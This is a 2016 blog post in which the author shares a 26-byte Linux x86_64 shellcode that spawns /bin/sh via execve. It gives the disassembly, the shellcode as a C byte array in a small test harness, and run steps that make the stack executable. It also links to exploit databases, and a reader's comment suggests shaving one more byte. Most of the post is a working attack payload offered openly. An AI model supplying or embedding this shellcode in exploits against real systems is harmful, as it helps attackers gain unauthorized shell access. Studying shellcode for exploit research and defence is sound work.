Our Feeds

Thursday 24 March 2016

Ajith KP

Linux/x86_x64 - execve(/bin/sh) - 26 bytes

Hi GuyZ,
     After a long break, I have coded an shellcode. Unlike last times, this time it was on x64 Linux.
You can find it from: http://0day.today/exploit/25114https://www.exploit-db.com/exploits/39617/


Source Code

/*
---------------------------------------------------------------------------------------------------
 
Linux/x86_x64 - execve(/bin/sh) - 26 bytes
 
Ajith Kp [ @ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]
 
Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |
 
---------------------------------------------------------------------------------------------------
Disassembly of section .text:
 
0000000000400080 <.text>:
  400080:   eb 0b                   jmp    0x40008d
  400082:   5f                      pop    %rdi
  400083:   48 31 d2                xor    %rdx,%rdx
  400086:   48 89 d6                mov    %rdx,%rsi
  400089:   b0 3b                   mov    $0x3b,%al
  40008b:   0f 05                   syscall
  40008d:   e8 f0 ff ff ff          callq  0x400082
  400092:   2f                      (bad)
  400093:   2f                      (bad)
  400094:   62                      (bad)
  400095:   69                      .byte 0x69
  400096:   6e                      outsb  %ds:(%rsi),(%dx)
  400097:   2f                      (bad)
  400098:   73 68                   jae    0x400102
---------------------------------------------------------------------------------------------------
 
How To Run
 
$ gcc -o sh_shell sh_shell.c
$ execstack -s sh_shell
$ ./sh_shell
 
---------------------------------------------------------------------------------------------------
*/
#include <stdio.h>
char sh[]="\xeb\x0b\x5f\x48\x31\xd2\x48\x89\xd6\xb0\x3b\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x2f\x62\x69\x6e\x2f\x73\x68";
void main(int argc, char **argv)
{
    int (*func)();
    func = (int (*)()) sh;
    (int)(*func)();
}

2 comments

Write comments
Anonymous
AUTHOR
24 March 2016 at 13:30 delete

You can shave one more byte off by replacing the "mov %rdx, %rsi" (3 bytes) with a "pushq %rdx; popq %rsi" (2 bytes).

:)

Reply
avatar
Ajith KP
AUTHOR
25 March 2016 at 04:24 delete

Thanks bro for your valuable support and suggestion... (f)

Reply
avatar